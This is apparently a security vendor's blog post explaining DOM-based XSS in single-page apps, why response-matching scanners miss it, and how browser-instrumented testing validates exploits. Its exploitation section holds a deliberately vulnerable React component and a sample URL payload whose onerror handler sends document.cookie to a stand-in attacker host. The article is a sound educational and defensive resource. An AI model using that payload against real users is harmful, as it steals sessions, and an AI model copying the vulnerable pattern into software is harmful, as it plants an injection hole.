All Blogs
DOM-based XSS in Single-Page Applications: How Automated Testing Finds and Validates Exploits

Quick Overview: DOM-based XSS executes entirely in the browser, so server-side scanners see nothing. This guide covers how DOM XSS reaches sinks in modern SPAs, why traditional DAST misses it, how automated detection instruments a real browser, and why exploit validation separates a confirmed finding from a guess.
Put a payload after the fragment identifier in a URL, and it never leaves the browser. It is not in the request line. It is not in the POST body. It does not appear in your web server logs, your WAF event stream, or your reverse proxy traces. As far as your backend is concerned, the attack never happened.
That single property is what separates DOM-based cross-site scripting from every other injection class most teams test for, and it explains why the vulnerability keeps surviving in applications that pass their scans cleanly. React, Angular, Vue, and Svelte moved rendering, routing, and state handling into the client. The attack surface followed them there.
The result is a testing gap. A modern AI-powered vulnerability scanner for web apps is built to compare a request against a response have nothing to compare, because the response is the same JavaScript bundle regardless of the payload.
In this article, we are going to cover four things: how DOM XSS reaches executable sinks in single-page applications, why traditional DAST misses it, how automated DOM XSS detection instruments a real browser to find it, and why detection on its own is not the same as proof. That final distinction turns out to matter more than most security teams assume.
Test your SPA in a real browser, trace data from source to sink, and get findings that arrive already validated. Scan Your Application for Free
On This Page
- What is DOM-based XSS?
- How DOM-based XSS Works in a Single-Page Application?
- Why Framework Output Encoding Does Not Eliminate DOM XSS?
- Why DOM-based XSS is Difficult to Detect in Modern SPAs?
- How Automated DOM XSS Detection Works?
- DOM XSS Detection vs DOM XSS Exploit Validation
- How To Validate a DOM-based XSS Vulnerability?
- How Can Attackers Exploit DOM-based XSS Vulnerabilities?
- Can Automated Security Testing Detect DOM-based XSS?
- Conclusion
What is DOM-based XSS?
DOM-based XSS is a client-side cross-site scripting vulnerability in which attacker-controlled data flows from a JavaScript source into a dangerous DOM sink and executes in the browser, without the payload ever being processed by the server.
The vulnerability follows a four-stage model. A source is any JavaScript-readable location an attacker can influence, such as location.hash or a postMessage event. The data flow is the path that value takes through application code, often across several functions, a router, and a state store. A sink is an API that interprets its input as markup or code, such as innerHTML or eval(). Execution happens when the browser parses what the sink receives and runs it.
The difference from other XSS classes comes down to visibility. Reflected and stored XSS both require the payload to reach the server, which means the request and response carry evidence a scanner can match. In DOM-based XSS, the source, the flow, the sink, and the execution all live in the browser, so there is no server-side artifact at any stage. For a broader treatment of all three classes, see our complete guide to cross-site scripting.
How Does DOM-based XSS Work in a Single-Page Application?
DOM-based XSS works in a single-page application when client-side routing, framework rendering, or browser APIs pass attacker-controlled data into an executable DOM context during a single page load, with no new server request and therefore no server-side inspection point.
A traditional multi-page application resolves a URL on the server. An SPA resolves it in JavaScript, which moves several trust decisions into code the server never audits.
Client-side Routing and Fragment-driven State
SPA routers read location.pathname, location.search, and location.hash to decide what to render. The fragment is the sharpest edge here, because browsers never transmit it to the server. Applications also use it for filter state, deep links into tabs, scroll anchors, and modal state, which means fragment values regularly flow into rendering logic. A router that hands a raw fragment segment to a component, and a component that renders it as markup, is a complete DOM XSS chain with no network evidence.
Framework Escape Hatches
Every major framework escape interpolated values by default, and every major framework ships a documented way to opt out. React exposes dangerouslySetInnerHTML, Vue offers the v-html directive, Angular provides bypassSecurityTrustHtml through its DomSanitizer, and Svelte uses {@html}. These exist for legitimate reasons such as rendering CMS content or sanitized rich text. They become vulnerabilities when the value passed through them is attacker-influenced, which happens more often than teams expect once the value has travelled through a few layers of state.
Cross-context Sources Beyond the URL
The URL is the obvious source, but SPAs read attacker-influenceable data from several other places. A message event handler that skips an origin check accepts data from any frame that can reach the window. window.name persists across navigations and survives a cross-origin hop. document.referrer reflects a URL the attacker chose. Values in localStorage and sessionStorage are frequently treated as trusted simply because the application wrote them, ignoring that an earlier injection or a shared subdomain could have written them instead.
Prototype Pollution as a Gadget Source
Client-side prototype pollution rarely executes code on its own. It matters here because it turns an unrelated write primitive into a DOM XSS source. When an attacker sets a property on Object.prototype, every object in the runtime inherits it. Libraries and framework internals that read configuration properties without a hasOwnProperty check will then pick up the attacker-controlled value and pass it into a known sink gadget. The polluted property becomes the source, and an existing library function becomes the flow.
Why Framework Output Encoding Does Not Eliminate DOM XSS?
Default escaping protects the interpolation path only. It does not apply when code writes to the DOM directly through a ref, when a third-party widget manipulates the document outside the framework tree, when a value reaches an href or src attribute where a javascript: scheme is still valid, or when an escape hatch is used deliberately. A codebase can be fully idiomatic React and still contain reachable DOM XSS.
DOM XSS Sources, Sinks, and Safe Alternatives
| Common source | Dangerous sink | Safe alternative |
|---|---|---|
| location.hash, location.search | innerHTML, outerHTML | textContent |
| document.referrer | insertAdjacentHTML() | createElement() plus textContent |
| window.name | document.write() | Programmatic node construction |
| postMessage event.data | eval(), Function() | JSON.parse() with an origin check |
| localStorage, sessionStorage | setTimeout("string"), setInterval("string") | Pass a function reference, never a string |
| Router params and query values | dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html} | Default framework binding, or sanitize before render |
| Polluted prototype properties | element.src, element.href, location assignment | Scheme allowlist validation |
Test dynamic flows, client-side logic, and deeper application behavior. Go Beyond Scanning
Why is DOM-based XSS Difficult to Detect in Modern SPAs?
DOM-based XSS is difficult to detect in modern SPAs because the vulnerability produces no server-side signal, its reachability depends on runtime application state, and confirming it requires observing browser execution rather than inspecting an HTTP response.
No Server-side Signal to Match
Conventional dynamic testing sends a payload and searches for the response body for it. This works for reflected XSS because the payload makes a round trip. In an SPA, it fails twice. Fragment payloads are never transmitted, so the server cannot echo them. Even for query parameters, the server usually returns the same static index.html shell for every route, so the response is byte-identical whether the application is vulnerable or not. Runtime DAST scanning that stops at the HTTP layer has no observable difference to detect.
Reachability Depends on Runtime State, Route, and Authentication
A vulnerable component may only mount an authenticated route, after a specific tab is opened, or once a feature flag resolves. The sink may only receive the tainted value on the third step of a checkout flow. A crawler that cannot log in, execute JavaScript, drive client-side navigation, and fire the events that cause components to mount will never load the code containing the vulnerability, let alone reach it. Coverage failure looks identical to a clean result in the report.
Static Source and Sink Matching Cannot Confirm Execution
Scanning a bundle for innerHTML or dangerouslySetInnerHTML produces a list of candidates, not findings. It cannot tell whether a sanitizer sits between the source and the sink, whether the code path is dead, whether a build-time constant reaches the sink instead of user input, or whether the injection context permits execution at all. Applied to a minified production bundle across an app of any size, this generates a triage queue that is mostly noise, which is the fastest way to train a team to ignore an entire vulnerability class.
How to Detect DOM-based XSS in Single-Page Applications
To detect DOM-based XSS in single-page applications, testing must run inside a real browser, instrument the native DOM sinks to observe what values reach them, explore client-side routes and event-driven states, and trace tainted data from source to sink at runtime.
Browser-based Execution and Native Sink Instrumentation
Automated DOM XSS testing begins by loading the application in an instrumented headless browser rather than fetching it over HTTP. Property setters such as innerHTML, functions such as document.write and insertAdjacentHTML, and dynamic evaluation through eval and the Function constructor are hooked before application code runs. From that point, every value the application passes into a sink is observable along with the stack that produced it. This is the step that converts an invisible vulnerability into a measurable one.
Route and Event-state Exploration
Instrumentation only sees code that executes. Reaching the code means authenticating, walking the client-side router, and driving the interactions that mount components: clicks, form input, tab switches, modal triggers, and scroll events. Playwright-driven security testing handles this class of application, where meaningful state sits several interactions past the landing page and is unreachable by a link-following crawler.
Source-to-Sink Data Flow with Controlled Payload Injection
With sinks hooked and routes reachable, the test injects uniquely marked values into each candidate source and watches which markers arrive at which sinks. The marker is what makes the flow provable rather than inferred. It also reveals transformation along the way: a marker that arrives at HTML-encoded, truncated, or stripped of angle brackets tells you the sanitization state of that specific path, which is exactly the information a static match cannot provide.
DOM-based XSS Detection vs DOM-based XSS Exploit Validation
DOM XSS detection identifies that attacker-controlled data can reach a dangerous sink, while DOM XSS exploit validation proves that the data actually executes in the browser under real application conditions.
The gap between the two is where most false positives live. A tainted value arriving at innerHTML is a hypothesis about exploitability. At least five common conditions can invalidate it, and none of them are visible to detection alone.
- The payload is sanitized in transit. A sanitizer strips the executable portion before the sink receives it. The flow is real, the execution is not.
- The injection context is encoded. The value lands inside an attribute or a JavaScript string where the surrounding quoting and encoding prevent a break-out.
- The code path is unreachable. The sink sits behind a role check, a disabled feature flag, or dead code retained by the bundler.
- The payload is transformed. Truncation, case normalization, or URL encoding leaves the marker intact but the payload inert.
- The mutation is non-executable. The DOM changes, but the injected node carries no execution vector in that position.
This is why DOM XSS exploitability testing is not an optional refinement on top of detection. A report full of unvalidated sink hits transfers the verification burden to engineers, who reproduce each one by hand. The finding count goes up, and the remediation rate goes down.
How to Validate a DOM-based XSS Vulnerability?
To validate a DOM-based XSS vulnerability, re-establish the exact application state that reaches the sink, inject a payload built for the specific injection context, and confirm through a runtime execution oracle that the browser ran attacker-supplied code.
- Re-establish the State: Validation replays the full path: authenticate, navigate to the client-side route, restore the storage and application state the component depends on, and fire the interaction sequence that mounts it. A payload delivered to the wrong state proves nothing.
- Build For the Context: The same payload behaves differently depending on where it lands. HTML body context needs a tag that executes on parse. Attribute context needs a quote break-out or event handler. JavaScript string context needs the quote closed, and the statement terminated. URL context needs a scheme the browser will execute. Context-aware payload construction is what separates a validated finding from a lucky one.
- Confirm with an Execution Oracle: Proof requires evidence that code ran, not that markup changed. A canary payload calls a function only reachable if the browser executed it, and the instrumentation records the call along with the stack. Because innerHTML does not execute injected <script> elements, the oracle has to account for the vector actually in play, which is usually an event handler such as onerror or onload.
- Stay Non-destructive and Capture Evidence: Validation payloads should prove execution without writing data, exfiltrating anything, or altering state. What gets recorded is the reproduction: source, flow, sink, exact payload, injection context, route, required state, and the execution trace. The same recorded path becomes the retest after remediation, re-run against the original vector, and against alternate routes that reach the same component.
Explore plans built for deeper automated security testing. Compare Plans
How Can Attackers Exploit DOM-based XSS Vulnerabilities?
Attackers exploit DOM-based XSS by crafting a URL or browser-context value that carries a payload into a client-side sink, then delivering it to an authenticated user whose browser completes the injection during normal application use.
Consider a React SPA with an authenticated search view that renders the query term back to the user.
//routes/AccountSearch.jsx (renders at /account/search, session required) import { useLocation } from "react-router-dom"; export default function AccountSearch() { const { hash } = useLocation(); const term = decodeURIComponent(hash.replace("#q=", "")); return ( <h2 dangerouslySetInnerHTML={{ __html: `Results for ${term}` }} /> ); }The source is location.hash, read through the router. The flow is a decode and a template literal. The sink is dangerouslySetInnerHTML, which passes the string to innerHTML. The attacker sends a logged-in user this link:
https://app.example.com/account/search#q=<img src=xonerror=fetch('https://attacker.tld/c?'+document.cookie)>The fragment never reaches the server. The router resolves the route in JavaScript, the component mounts, the string reaches innerHTML, the browser fails to load the image, and onerror fires in the victim's authenticated session. Note that a <script> tag would not have worked here, because innerHTML does not execute script elements it inserts. The event handler vector is the reason this is exploitable.
What a conventional scan reports. The fragment was never transmitted, and the server returns the same shell for every route, so response comparison has no difference to find. A static pass flags dangerouslySetInnerHTML as a candidate, with no evidence that a source reaches it or that the route is reachable without a session.
What validation reports. An instrumented browser authenticates, navigates to the client-side route, sets the fragment to a marked payload, records the marker arriving at the innerHTML setter with the originating stack, and captures the onerror handler executing the canary. That is a confirmed vulnerability with a reproduction any developer can replay.
Can Automated Security Testing Detect DOM-based XSS?
Yes, automated security testing can detect DOM-based XSS, provided it executes the application in a real browser, instruments client-side sinks, and reaches authenticated and interaction-dependent states rather than testing at the HTTP layer alone.
ZeroThreat’s AI-powered automated pentesting closes each of the three gaps that leave DOM XSS undetected by conventional tooling.
- Against the Missing Server-side Signal: Testing runs against the executing application in the browser, observing the DOM directly rather than diffing HTTP responses that never change.
- Against State-dependent Reachability: Authenticated sessions, JavaScript-driven route discovery, and human-like navigation through multi-step workflows reach components that link-following crawlers never mount.
- Against Unconfirmed Sink Matches: Exploit validation runs controlled payloads and confirms execution before a finding is reported, which is how near-zero false positives holds across a class this noisy.
- For the Teams Doing the Work: Every validated finding carries the reproduction, the injection context, and remediation guidance, so security teams get the attack path and developers get the fix.
See ZeroThreat uncover and validate vulnerabilities in action.See It in Action
Conclusion
DOM-based XSS persists because the industry's default testing model was built for a server-rendered web that most product teams no longer ship. When routing, rendering, and stating all live in the client, security testing has to live there too.
That means three requirements. First, testing needs to execute JavaScript in a real browser. Next, it should reach authenticated and interaction-dependent states where vulnerable components actually mount. Finally, validation should demonstrate actual script execution rather than infer exploitability from a pattern match.
ZeroThreat's AI penetration testing handles all. It drives modern SPAs the way a real user does, instruments client-side sinks to trace attacker-controlled data from source to execution and validates exploitability before anything is reported. Security teams receive the attack path and business impact. Application teams receive the endpoint, the payload, the injection context, and the fix.
Start scanning your application for free and see which DOM XSS findings in your SPA are real.
Frequently Asked Questions
What makes DOM-based XSS different from reflected XSS?
Reflected XSS requires the payload to travel to the server and return in the HTTP response, which leaves a matchable artifact in the request and response pair. DOM-based XSS never involves the server, because the source, the data flow, the sink, and the execution all occur in the browser. This means server logs, WAF rules, and response-matching scanners have no visibility in the attack.
Automated DOM XSS testing vs manual testing: when is each appropriate?
Can security testing detect DOM XSS in client-side routes?
Can automated security testing trace DOM XSS data flows?
What evidence proves that a DOM XSS vulnerability is real?
Explore ZeroThreat
Automate security testing, save time, and avoid the pitfalls of manual work with ZeroThreat.


